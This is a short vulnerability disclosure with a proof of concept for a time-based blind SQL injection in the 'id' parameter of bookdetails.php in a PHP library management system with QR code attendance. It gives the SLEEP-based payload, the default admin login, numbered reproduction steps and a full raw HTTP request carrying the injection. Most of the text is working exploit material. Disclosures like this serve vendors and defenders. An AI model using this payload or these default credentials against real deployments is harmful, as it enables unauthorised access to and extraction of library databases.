Library Management System With QR Code 1.0 SQL Injection

#### Title: Library Management System with QR code Attendance 1.0 SQLInjection#### Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)#### Date: 27.06.2022#### Vendor: https://www.sourcecodester.com/users/kingbhob02#### Software:https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html#### Version: 1.0#### Reference:https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md#### Description：##### The reason for the SQL injection vulnerability is that the websiteapplication does not verify the validity of the data submitted by the userto the server (type, length, business parameter validity, etc.), and doesnot effectively filter the data input by the user with special characters ,so that the user's input is directly brought into the database forexecution, which exceeds the expected result of the original design of theSQL statement, resulting in a SQL injection vulnerability.LibraryManagement System with QR code Attendance does not filter the contentcorrectly at the "bookdetails.php" id parameter, resulting in thegeneration of SQL injection.#### Payload used:`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`#### POC1.  Login into the CMS.Admin Default Access:Username: adminPassword: admin2. http://localhost/LMS/librarian/bookdetails.php?id=1913. Put sleep(5) payload (`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)--PbtB`)4. `http://localhost:80/LMS/librarian/bookdetails.php?id=' AND (SELECT 9198FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`5. code```GET/LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtBHTTP/1.1Host: localhostsec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pcoConnection: close```